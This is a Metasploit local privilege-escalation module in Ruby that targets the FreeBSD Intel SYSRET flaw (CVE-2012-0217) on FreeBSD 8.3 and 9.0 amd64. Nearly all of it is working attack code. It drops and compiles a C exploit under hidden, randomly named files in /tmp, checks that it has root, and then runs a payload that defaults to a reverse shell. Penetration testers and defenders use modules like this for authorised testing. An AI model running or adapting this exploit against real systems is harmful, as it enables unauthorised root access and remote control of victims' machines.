##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FreeBSD Intel SYSRET Privilege Escalation',
      'Description'    => %q{
        This module exploits a vulnerability in the FreeBSD kernel,
        when running on 64-bit Intel processors.

        By design, 64-bit processors following the X86-64 specification will
        trigger a general protection fault (GPF) when executing a SYSRET
        instruction with a non-canonical address in the RCX register.

        However, Intel processors check for a non-canonical address prior to
        dropping privileges, causing a GPF in privileged mode. As a result,
        the current userland RSP stack pointer is restored and executed,
        resulting in privileged code execution.

        This module has been tested successfully on:

        FreeBSD 8.3-RELEASE (amd64); and
        FreeBSD 9.0-RELEASE (amd64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Rafal Wojtczuk',  # Discovery
          'John Baldwin',    # Discovery
          'iZsh',            # Exploit
          'bcoles'           # Metasploit
        ],
      'DisclosureDate' => '2012-06-12',
      'Platform'       => ['bsd'],
      'Arch'           => [ARCH_X64],
      'SessionTypes'   => ['shell'],
      'References'     =>
        [
          ['BID', '53856'],
          ['CVE', '2012-0217'],
          ['EDB', '28718'],
          ['PACKETSTORM', '113584'],
          ['URL', 'https://www.freebsd.org/security/patches/SA-12:04/sysret.patch'],
          ['URL', 'https://blog.xenproject.org/2012/06/13/the-intel-sysret-privilege-escalation/'],
          ['URL', 'https://github.com/iZsh/exploits/blob/master/stash/CVE-2012-0217-sysret/CVE-2012-0217-sysret_FreeBSD.c'],
          ['URL', 'https://fail0verflow.com/blog/2012/cve-2012-0217-intel-sysret-freebsd/'],
          ['URL', 'http://security.freebsd.org/advisories/FreeBSD-SA-12:04.sysret.asc'],
          ['URL', 'https://www.slideshare.net/nkslides/exploiting-the-linux-kernel-via-intels-sysret-implementation']
        ],
      'Targets'        =>
        [
          ['Automatic', {}]
        ],
      'DefaultOptions' => { 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp' },
      'DefaultTarget'  => 0))
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def upload_and_chmodx(path, data)
    upload path, data
    cmd_exec "chmod +x '#{path}'"
  end

  def upload_and_compile(path, data, gcc_args='')
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end
    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
    chmod path
  end

  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2012-0217', file)
  end

  def is_root?
    (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def check
    kernel_release = cmd_exec('uname -r').to_s
    unless kernel_release =~ /^(8\.3|9\.0)-RELEASE/
      vprint_error "FreeBSD version #{kernel_release} is not vulnerable"
      return Exploit::CheckCode::Safe
    end
    vprint_good "FreeBSD version #{kernel_release} appears vulnerable"

    arch = cmd_exec('uname -m').to_s
    unless arch.include? '64'
      vprint_error "System architecture #{arch} is not supported"
      return CheckCode::Safe
    end
    vprint_good "System architecture #{arch} is supported"

    hw_model = cmd_exec('/sbin/sysctl hw.model').to_s
    unless hw_model.downcase.include? 'intel'
      vprint_error "#{hw_model} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "#{hw_model} is vulnerable"

    CheckCode::Appears
  end

  def exploit
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload and compile exploit executable
    executable_name = ".#{rand_text_alphanumeric 5..10}"
    executable_path = "#{base_dir}/#{executable_name}"
    upload_and_compile executable_path, strip_comments(exploit_data('sysret.c')), '-Wall'

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit
    print_status 'Launching exploit...'
    output = cmd_exec executable_path
    output.each_line { |line| vprint_status line.chomp }

    unless is_root?
      fail_with Failure::Unknown, 'Exploitation failed'
    end
    print_good "Success! Executing payload..."

    cmd_exec payload_path
  end
end